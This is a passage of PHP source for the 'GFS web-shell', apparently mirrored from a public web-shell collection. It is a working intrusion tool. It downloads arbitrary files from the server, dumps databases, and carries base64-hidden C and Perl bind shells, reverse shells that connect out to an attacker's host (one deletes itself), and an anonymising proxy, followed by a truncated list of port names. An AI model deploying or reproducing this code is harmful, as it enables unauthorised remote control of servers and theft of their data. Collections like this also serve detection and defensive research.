mirror of
https://github.com/BlackArch/webshells
synced 2024-11-10 06:14:16 +00:00
618 lines
No EOL
25 KiB
PHP
618 lines
No EOL
25 KiB
PHP
<?
|
|
/*
|
|
*************************
|
|
* ###### ##### ###### *
|
|
* ###### ##### ###### *
|
|
* ## ## ## *
|
|
* ## #### ###### *
|
|
* ## ## #### ###### *
|
|
* ## ## ## ## *
|
|
* ###### ## ###### *
|
|
* ###### ## ###### *
|
|
* *
|
|
* Group Freedom Search! *
|
|
*************************
|
|
GFS Web-Shell
|
|
*/
|
|
error_reporting(0);
|
|
if($_POST['b_down']){
|
|
$file=fopen($_POST['fname'],"r");
|
|
ob_clean();
|
|
$filename=basename($_POST['fname']);
|
|
$filedump=fread($file,filesize($_POST['fname']));
|
|
fclose($file);
|
|
header("Content-type: application/octet-stream");
|
|
header("Content-disposition: attachment; filename=\"".$filename."\";");
|
|
echo $filedump;
|
|
exit();
|
|
}
|
|
if($_POST['b_dtable']){
|
|
$dump=down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
|
|
if($dump!=""){
|
|
header("Content-type: application/octet-stream");
|
|
header("Content-disposition: attachment; filename=\"".$_POST['tablename'].".dmp\";");
|
|
echo down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
|
|
exit();
|
|
}else
|
|
die("<b>Error dump!</b><br> table=".$_POST['tablename']."<br> db=".$_POST['dbname']."<br> host=".$_POST['host']."<br> user=".$_POST['username']."<br> pass=".$_POST['pass']);
|
|
}
|
|
set_magic_quotes_runtime(0);
|
|
set_time_limit(0);
|
|
ini_set('max_execution_time',0);
|
|
ini_set('output_buffering',0);
|
|
if(version_compare(phpversion(), '4.1.0')==-1){
|
|
$_POST=&$HTTP_POST_VARS;
|
|
$_GET=&$HTTP_GET_VARS;
|
|
$_SERVER=&$HTTP_SERVER_VARS;
|
|
}
|
|
if (get_magic_quotes_gpc()){
|
|
foreach ($_POST as $k=>$v){
|
|
$_POST[$k]=stripslashes($v);
|
|
}
|
|
foreach ($_SERVER as $k=>$v){
|
|
$_SERVER[$k]=stripslashes($v);
|
|
}
|
|
}
|
|
if ($_POST['username']==""){
|
|
$_POST['username']="root";
|
|
}
|
|
////////////////////////////////////////////////////////////////////////////////
|
|
///////////////////////////// Ïåðåìåííûå ///////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////
|
|
$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE'];
|
|
$r_act=$_POST['r_act'];
|
|
$safe_mode=ini_get('safe_mode'); //ñòàòóñ áåçîïàñíîãî ðåæèìà
|
|
$mysql_stat=function_exists('mysql_connect'); //Íàëè÷èå mysql
|
|
$curl_on=function_exists('curl_version'); //íàëè÷èå cURL
|
|
$dis_func=ini_get('disable_functions'); //çàáëîêèðîâàíûå ôóíêöèè
|
|
$HTML=<<<html
|
|
<html>
|
|
<head>
|
|
<title>GFS web-shell ver 3.1.7</title>
|
|
</head>
|
|
<body bgcolor=#86CCFF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0>
|
|
html;
|
|
$port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
|
|
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
|
|
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
|
|
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
|
|
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
|
|
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
|
|
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
|
|
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
|
|
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
|
|
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
|
|
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
|
|
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
|
|
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
|
|
$port_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
|
|
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
|
|
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
|
|
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
|
|
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
|
|
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
|
|
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
|
|
lIENPTk47DQpleGl0IDA7DQp9DQp9";
|
|
$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
|
|
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
|
|
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
|
|
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
|
|
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
|
|
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
|
|
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
|
|
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
|
|
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
|
|
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
|
|
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
|
|
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
|
|
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
|
|
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
|
|
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
|
|
$prx1="IyEvaG9tZS9tZXJseW4vYmluL3BlcmwgLXcNCiMjIw0KIyMjaHR0cDovL2ZvcnVtLndlYi1oYWNrLnJ1L2luZGV4LnBocD9zaG93dG9waWM9
|
|
MjY3MDYmc3Q9MCYjZW50cnkyNDYzNDQNCiMjIw0KDQp1c2Ugc3RyaWN0Ow0KJEVOVntQQVRIfSA9IGpvaW4gXCI6XCIsIHF3KC91c3IvdWNiIC9iaW4
|
|
gL3Vzci9iaW4pOw0KJHwrKzsNCg0KIyMgQ29weXJpZ2h0IChjKSAxOTk2IGJ5IFJhbmRhbCBMLiBTY2h3YXJ0eg0KIyMgVGhpcyBwcm9ncmFtIGlzIG
|
|
ZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0DQojIyBhbmQvb3IgbW9kaWZ5IGl0IHVuZGVyIHRoZSBzYW1lIHRlcm1zIGFzIFBlc
|
|
mwgaXRzZWxmLg0KDQojIyBBbm9ueW1vdXMgSFRUUCBwcm94eSAoaGFuZGxlcyBodHRwOiwgZ29waGVyOiwgZnRwOikNCiMjIHJlcXVpcmVzIExXUCA1
|
|
LjA0IG9yIGxhdGVyDQoNCm15ICRIT1NUID0gXCJsb2NhbGhvc3RcIjsNCm15ICRQT1JUID0gXCI=";
|
|
$prx2="XCI7DQoNCnN1YiBwcmVmaXggew0KIG15ICRub3cgPSBsb2NhbHRpbWU7DQoNCiBqb2luIFwiXCIsIG1hcCB7IFwiWyRub3ddIFskeyR9XSAk
|
|
X1xcblwiIH0gc3BsaXQgL1xcbi8sIGpvaW4gXCJcIiwgQF87DQp9DQoNCiRTSUd7X19XQVJOX199ID0gc3ViIHsgd2FybiBwcmVmaXggQF8gfTsNCiR
|
|
TSUd7X19ESUVfX30gPSBzdWIgeyBkaWUgcHJlZml4IEBfIH07DQokU0lHe0NMRH0gPSAkU0lHe0NITER9ID0gc3ViIHsgd2FpdDsgfTsNCg0KbXkgJE
|
|
FHRU5UOyAgICMgZ2xvYmFsIHVzZXIgYWdlbnQgKGZvciBlZmZpY2llbmN5KQ0KQkVHSU4gew0KIHVzZSBMV1A6OlVzZXJBZ2VudDsNCg0KIEBNeUFnZ
|
|
W50OjpJU0EgPSBxdyhMV1A6OlVzZXJBZ2VudCk7ICMgc2V0IGluaGVyaXRhbmNlDQoNCiAkQUdFTlQgPSBNeUFnZW50LT5uZXc7DQogJEFHRU5ULT5h
|
|
Z2VudChcImFub24vMC4wN1wiKTsNCiAkQUdFTlQtPmVudl9wcm94eTsNCn0NCg0Kc3ViIE15QWdlbnQ6OnJlZGlyZWN0X29rIHsgMCB9ICMgcmVkaXJ
|
|
lY3RzIHNob3VsZCBwYXNzIHRocm91Z2gNCg0KeyAgICAjIyMgTUFJTiAjIyMNCiB1c2UgSFRUUDo6RGFlbW9uOw0KDQogbXkgJG1hc3RlciA9IG5ldy
|
|
BIVFRQOjpEYWVtb24NCiAgIExvY2FsQWRkciA9PiAkSE9TVCwgTG9jYWxQb3J0ID0+ICRQT1JUOw0KIHdhcm4gXCJzZXQgeW91ciBwcm94eSB0byA8V
|
|
VJMOlwiLCAkbWFzdGVyLT51cmwsIFwiPlwiOw0KIG15ICRzbGF2ZTsNCiAmaGFuZGxlX2Nvbm5lY3Rpb24oJHNsYXZlKSB3aGlsZSAkc2xhdmUgPSAk
|
|
bWFzdGVyLT5hY2NlcHQ7DQogZXhpdCAwOw0KfSAgICAjIyMgRU5EIE1BSU4gIyMjDQoNCnN1YiBoYW5kbGVfY29ubmVjdGlvbiB7DQogbXkgJGNvbm5
|
|
lY3Rpb24gPSBzaGlmdDsgIyBIVFRQOjpEYWVtb246OkNsaWVudENvbm4NCg0KIG15ICRwaWQgPSBmb3JrOw0KIGlmICgkcGlkKSB7ICAgIyBzcGF3bi
|
|
BPSywgYW5kIElcJ20gdGhlIHBhcmVudA0KICAgY2xvc2UgJGNvbm5lY3Rpb247DQogICByZXR1cm47DQogfQ0KICMjIHNwYXduIGZhaWxlZCwgb3IgS
|
|
VwnbSBhIGdvb2QgY2hpbGQNCiBteSAkcmVxdWVzdCA9ICRjb25uZWN0aW9uLT5nZXRfcmVxdWVzdDsNCiBpZiAoZGVmaW5lZCgkcmVxdWVzdCkpIHsN
|
|
CiAgIG15ICRyZXNwb25zZSA9ICZmZXRjaF9yZXF1ZXN0KCRyZXF1ZXN0KTsNCiAgICRjb25uZWN0aW9uLT5zZW5kX3Jlc3BvbnNlKCRyZXNwb25zZSk
|
|
7DQogICBjbG9zZSAkY29ubmVjdGlvbjsNCiB9DQogZXhpdCAwIGlmIGRlZmluZWQgJHBpZDsgIyBleGl0IGlmIElcJ20gYSBnb29kIGNoaWxkIHdpdG
|
|
ggYSBnb29kIHBhcmVudA0KfQ0KDQpzdWIgZmV0Y2hfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgICMgSFRUUDo6UmVxdWVzdA0KDQogd
|
|
XNlIEhUVFA6OlJlc3BvbnNlOw0KDQogbXkgJHVybCA9ICRyZXF1ZXN0LT51cmw7DQogd2FybiBcImZldGNoaW5nICR1cmxcIjsNCiBpZiAoJHVybC0+
|
|
c2NoZW1lICF+IC9eKGh0dHB8Z29waGVyfGZ0cCkkLykgew0KICAgbXkgJHJlcyA9IEhUVFA6OlJlc3BvbnNlLT5uZXcoNDAzLCBcIkZvcmJpZGRlblw
|
|
iKTsNCiAgICRyZXMtPmNvbnRlbnQoXCJiYWQgc2NoZW1lOiBAe1skdXJsLT5zY2hlbWVdfVxcblwiKTsNCiAgICRyZXM7DQogfSBlbHNpZiAobm90IC
|
|
R1cmwtPnJlbC0+bmV0bG9jKSB7DQogICBteSAkcmVzID0gSFRUUDo6UmVzcG9uc2UtPm5ldyg0MDMsIFwiRm9yYmlkZGVuXCIpOw0KICAgJHJlcy0+Y
|
|
29udGVudChcInJlbGF0aXZlIFVSTCBub3QgcGVybWl0dGVkXFxuXCIpOw0KICAgJHJlczsNCiB9IGVsc2Ugew0KICAgJmZldGNoX3ZhbGlkYXRlZF9y
|
|
ZXF1ZXN0KCRyZXF1ZXN0KTsNCiB9DQp9DQoNCnN1YiBmZXRjaF92YWxpZGF0ZWRfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgIyBIVFR
|
|
QOjpSZXF1ZXN0DQoNCiAjIyB1c2VzIGdsb2JhbCAkQUdFTlQNCg0KICMjIHdhcm4gXCJvcmlnIHJlcXVlc3Q6IDw8PFwiLCAkcmVxdWVzdC0+aGVhZG
|
|
Vyc19hc19zdHJpbmcsIFwiPj4+XCI7DQogJHJlcXVlc3QtPnJlbW92ZV9oZWFkZXIocXcoVXNlci1BZ2VudCBGcm9tIFJlZmVyZXIgQ29va2llKSk7D
|
|
QogIyMgd2FybiBcImFub24gcmVxdWVzdDogPDw8XCIsICRyZXF1ZXN0LT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiBteSAkcmVzcG9uc2Ug
|
|
PSAkQUdFTlQtPnJlcXVlc3QoJHJlcXVlc3QpOw0KICMjIHdhcm4gXCJvcmlnIHJlc3BvbnNlOiA8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N
|
|
0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2UtPnJlbW92ZV9oZWFkZXIocXcoU2V0LUNvb2tpZSkpOw0KICMjIHdhcm4gXCJhbm9uIHJlc3BvbnNlOi
|
|
A8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2U7DQp9";
|
|
$port[1] = "tcpmux (TCP Port Service Multiplexer)";
|
|
$port[2] = "Management Utility";
|
|
$port[3] = "Compression Process";
|
|
$port[5] = "rje (Remote Job Entry)";
|
|
$port[7] = "echo";
|
|
$port[9] = "discard";
|
|
$port[11] = "systat";
|
|
$port[13] = "daytime";
|
|
$port[15] = "netstat";
|
|
$port[17] = "quote of the day";
|
|
$port[18] = "send/rwp";
|
|
$port[19] = "character generator";
|
|
$port[20] = "ftp-data";
|
|
$port[21] = "ftp";
|
|
$port[22] = "ssh, pcAnywhere";
|
|
$port[23] = "Telnet";
|
|
$port[25] = "SMTP (Simple Mail Transfer)";
|
|
$port[27] = "ETRN (NSW User System FE)";
|
|
$port[29] = "MSG ICP";
|
|
$port[31] = "MSG Authentication";
|
|
$port[33] = "dsp (Display Support Protocol)";
|
|
$port[37] = "time";
|
|
$port[38] = "RAP (Route Access Protocol)";
|
|
$port[39] = "rlp (Resource Location Protocol)";
|
|
$port[41] = "Graphics";
|
|
$port[42] = "nameserv, WINS";
|
|
$port[43] = "whois, nickname";
|
|
$port[44] = "MPM FLAGS Protocol";
|
|
$port[45] = "Message Processing Module [recv]";
|
|
$port[46] = "MPM [default send]";
|
|
$port[47] = "NI FTP";
|
|
$port[48] = "Digital Audit Daemon";
|
|
$port[49] = "TACACS, Login Host Protocol";
|
|
$port[50] = "RMCP, re-mail-ck";
|
|
$port[53] = "DNS";
|
|
$port[57] = "MTP (any private terminal access)";
|
|
$port[59] = "NFILE";
|
|
$port[60] = "Unassigned";
|
|
$port[61] = "NI MAIL";
|
|
$port[62] = "ACA Services";
|
|
$port[63] = "whois++";
|
|
$port[64] = "Communications Integrator (CI)";
|
|
$port[65] = "TACACS-Database Service";
|
|
$port[66] = "Oracle SQL*NET";
|
|
$port[67] = "bootps (Bootstrap Protocol Server)";
|
|
$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)";
|
|
$port[69] = "Trivial File Transfer Protocol (tftp)";
|
|
$port[70] = "Gopher";
|
|
$port[71] = "Remote Job Service";
|
|
$port[72] = "Remote Job Service";
|
|
$port[73] = "Remote Job Service";
|
|
$port[74] = "Remote Job Service";
|
|
$port[75] = "any private dial out service";
|
|
$port[76] = "Distributed External Object Store";
|
|
$port[77] = "any private RJE service";
|
|
$port[78] = "vettcp";
|
|
$port[79] = "finger";
|
|
$port[80] = "World Wide Web HTTP";
|
|
$port[81] = "HOSTS2 Name Serve";
|
|
$port[82] = "XFER Utility";
|
|
$port[83] = "MIT ML Device";
|
|
$port[84] = "Common Trace Facility";
|
|
$port[85] = "MIT ML Device";
|
|
$port[86] = "Micro Focus Cobol";
|
|
$port[87] = "any private terminal link";
|
|
$port[88] = "Kerberos, WWW";
|
|
$port[89] = "SU/MIT Telnet Gateway";
|
|
$port[90] = "DNSIX Securit Attribute Token Map";
|
|
$port[91] = "MIT Dover Spooler";
|
|
$port[92] = "Network Printing Protocol";
|
|
$port[93] = "Device Control Protocol";
|
|
$port[94] = "Tivoli Object Dispatcher";
|
|
$port[95] = "supdup";
|
|
$port[96] = "DIXIE";
|
|
$port[98] = "linuxconf";
|
|
$port[99] = "Metagram Relay";
|
|
$port[100] = "[unauthorized use]";
|
|
$port[101] = "HOSTNAME";
|
|
$port[102] = "ISO, X.400, ITOT";
|
|
$port[103] = "Genesis Point-to-Point";
|
|
$port[104] = "ACR-NEMA Digital Imag. & Comm. 300";
|
|
$port[105] = "CCSO name server protocol";
|
|
$port[106] = "poppassd";
|
|
$port[107] = "Remote Telnet Service";
|
|
$port[108] = "SNA Gateway Access Server";
|
|
$port[109] = "POP2";
|
|
$port[110] = "POP3";
|
|
$port[111] = "Sun RPC Portmapper";
|
|
$port[112] = "McIDAS Data Transmission Protocol";
|
|
$port[113] = "Authentication Service";
|
|
$port[115] = "sftp (Simple File Transfer Protocol)";
|
|
$port[116] = "ANSA REX Notify";
|
|
$port[117] = "UUCP Path Service";
|
|
$port[118] = "SQL Services";
|
|
$port[119] = "NNTP";
|
|
$port[120] = "CFDP";
|
|
$port[123] = "NTP";
|
|
$port[124] = "SecureID";
|
|
$port[129] = "PWDGEN";
|
|
$port[133] = "statsrv";
|
|
$port[135] = "loc-srv/epmap";
|
|
$port[137] = "netbios-ns";
|
|
$port[138] = "netbios-dgm (UDP)";
|
|
$port[139] = "NetBIOS";
|
|
$port[143] = "IMAP";
|
|
$port[144] = "NewS";
|
|
$port[150] = "SQL-NET";
|
|
$port[152] = "BFTP";
|
|
$port[153] = "SGMP";
|
|
$port[156] = "SQL Service";
|
|
$port[161] = "SNMP";
|
|
$port[175] = "vmnet";
|
|
$port[177] = "XDMCP";
|
|
$port[178] = "NextStep Window Server";
|
|
$port[179] = "BGP";
|
|
$port[180] = "SLmail admin";
|
|
$port[199] = "smux";
|
|
$port[210] = "Z39.50";
|
|
$port[213] = "IPX";
|
|
$port[218] = "MPP";
|
|
$port[220] = "IMAP3";
|
|
$port[256] = "RAP";
|
|
$port[257] = "Secure Electronic Transaction";
|
|
$port[258] = "Yak Winsock Personal Chat";
|
|
$port[259] = "ESRO";
|
|
$port[264] = "FW1_topo";
|
|
$port[311] = "Apple WebAdmin";
|
|
$port[350] = "MATIP type A";
|
|
$port[351] = "MATIP type B";
|
|
$port[363] = "RSVP tunnel";
|
|
$port[366] = "ODMR (On-Demand Mail Relay)";
|
|
$port[371] = "Clearcase";
|
|
$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)";
|
|
$port[389] = "LDAP";
|
|
$port[407] = "Timbuktu";
|
|
$port[427] = "Server Location";
|
|
$port[434] = "Mobile IP";
|
|
$port[443] = "ssl";
|
|
$port[444] = "snpp, Simple Network Paging Protocol";
|
|
$port[445] = "SMB";
|
|
$port[458] = "QuickTime TV/Conferencing";
|
|
$port[468] = "Photuris";
|
|
$port[475] = "tcpnethaspsrv";
|
|
$port[500] = "ISAKMP, pluto";
|
|
$port[511] = "mynet-as";
|
|
$port[512] = "biff, rexec";
|
|
$port[513] = "who, rlogin";
|
|
$port[514] = "syslog, rsh";
|
|
$port[515] = "lp, lpr, line printer";
|
|
$port[517] = "talk";
|
|
$port[520] = "RIP (Routing Information Protocol)";
|
|
$port[521] = "RIPng";
|
|
$port[522] = "ULS";
|
|
$port[531] = "IRC";
|
|
$port[543] = "KLogin, AppleShare over IP";
|
|
$port[545] = "QuickTime";
|
|
$port[548] = "AFP";
|
|
$port[554] = "Real Time Streaming Protocol";
|
|
$port[555] = "phAse Zero";
|
|
$port[563] = "NNTP over SSL";
|
|
$port[575] = "VEMMI";
|
|
$port[581] = "Bundle Discovery Protocol";
|
|
$port[593] = "MS-RPC";
|
|
$port[608] = "SIFT/UFT";
|
|
$port[626] = "Apple ASIA";
|
|
$port[631] = "IPP (Internet Printing Protocol)";
|
|
$port[635] = "RLZ DBase";
|
|
$port[636] = "sldap";
|
|
$port[642] = "EMSD";
|
|
$port[648] = "RRP (NSI Registry Registrar Protocol)";
|
|
$port[655] = "tinc";
|
|
$port[660] = "Apple MacOS Server Admin";
|
|
$port[666] = "Doom";
|
|
$port[674] = "ACAP";
|
|
$port[687] = "AppleShare IP Registry";
|
|
$port[700] = "buddyphone";
|
|
$port[705] = "AgentX for SNMP";
|
|
$port[901] = "swat, realsecure";
|
|
$port[993] = "s-imap";
|
|
$port[995] = "s-pop";
|
|
$port[1024] = "Reserved";
|
|
$port[1025] = "network blackjack";
|
|
$port[1062] = "Veracity";
|
|
$port[1080] = "SOCKS";
|
|
$port[1085] = "WebObjects";
|
|
$port[1227] = "DNS2Go";
|
|
$port[1243] = "SubSeven";
|
|
$port[1338] = "Millennium Worm";
|
|
$port[1352] = "Lotus Notes";
|
|
$port[1381] = "Apple Network License Manager";
|
|
$port[1417] = "Timbuktu Service 1 Port";
|
|
$port[1418] = "Timbuktu Service 2 Port";
|
|
$port[1419] = "Timbuktu Service 3 Port";
|
|
$port[1420] = "Timbuktu Service 4 Port";
|
|
$port[1433] = "Microsoft SQL Server";
|
|
$port[1434] = "Microsoft SQL Monitor";
|
|
$port[1477] = "ms-sna-server";
|
|
$port[1478] = "ms-sna-base";
|
|
$port[1490] = "insitu-conf";
|
|
$port[1494] = "Citrix ICA Protocol";
|
|
$port[1498] = "Watcom-SQL";
|
|
$port[1500] = "VLSI License Manager";
|
|
$port[1503] = "T.120";
|
|
$port[1521] = "Oracle SQL";
|
|
$port[1522] = "Ricardo North America License Manager";
|
|
$port[1524] = "ingres";
|
|
$port[1525] = "prospero";
|
|
$port[1526] = "prospero";
|
|
$port[1527] = "tlisrv";
|
|
$port[1529] = "oracle";
|
|
$port[1547] = "laplink";
|
|
$port[1604] = "Citrix ICA, MS Terminal Server";
|
|
$port[1645] = "RADIUS Authentication";
|
|
$port[1646] = "RADIUS Accounting";
|
|
$port[1680] = "Carbon Copy";
|
|
$port[1701] = "L2TP/LSF";
|
|
$port[1717] = "Convoy";
|
|
$port[1720] = "H.323/Q.931";
|
|
$port[1723] = "PPTP control port";
|
|
$port[1731] = "MSICCP";
|
|
$port[1755] = "Windows Media .asf";
|
|
$port[1758] = "TFTP multicast";
|
|
$port[1761] = "cft-0";
|
|
$port[1762] = "cft-1";
|
|
$port[1763] = "cft-2";
|
|
$port[1764] = "cft-3";
|
|
$port[1765] = "cft-4";
|
|
$port[1766] = "cft-5";
|
|
$port[1767] = "cft-6";
|
|
$port[1808] = "Oracle-VP2";
|
|
$port[1812] = "RADIUS server";
|
|
$port[1813] = "RADIUS accounting";
|
|
$port[1818] = "ETFTP";
|
|
$port[1973] = "DLSw DCAP/DRAP";
|
|
$port[1985] = "HSRP";
|
|
$port[1999] = "Cisco AUTH";
|
|
$port[2001] = "glimpse";
|
|
$port[2049] = "NFS";
|
|
$port[2064] = "distributed.net";
|
|
$port[2065] = "DLSw";
|
|
$port[2066] = "DLSw";
|
|
$port[2106] = "MZAP";
|
|
$port[2140] = "DeepThroat";
|
|
$port[2301] = "Compaq Insight Management Web Agents";
|
|
$port[2327] = "Netscape Conference";
|
|
$port[2336] = "Apple UG Control";
|
|
$port[2427] = "MGCP gateway";
|
|
$port[2504] = "WLBS";
|
|
$port[2535] = "MADCAP";
|
|
$port[2543] = "sip";
|
|
$port[2592] = "netrek";
|
|
$port[2727] = "MGCP call agent";
|
|
$port[2628] = "DICT";
|
|
$port[2998] = "ISS Real Secure Console Service Port";
|
|
$port[3000] = "Firstclass";
|
|
$port[3001] = "Redwood Broker";
|
|
$port[3031] = "Apple AgentVU";
|
|
$port[3128] = "squid";
|
|
$port[3130] = "ICP";
|
|
$port[3150] = "DeepThroat";
|
|
$port[3264] = "ccmail";
|
|
$port[3283] = "Apple NetAssitant";
|
|
$port[3288] = "COPS";
|
|
$port[3305] = "ODETTE";
|
|
$port[3306] = "mySQL";
|
|
$port[3389] = "RDP Protocol (Terminal Server)";
|
|
$port[3521] = "netrek";
|
|
$port[4000] = "icq, command-n-conquer and shell nfm";
|
|
$port[4321] = "rwhois";
|
|
$port[4333] = "mSQL";
|
|
$port[4444] = "KRB524";
|
|
$port[4827] = "HTCP";
|
|
$port[5002] = "radio free ethernet";
|
|
$port[5004] = "RTP";
|
|
$port[5005] = "RTP";
|
|
$port[5010] = "Yahoo! Messenger";
|
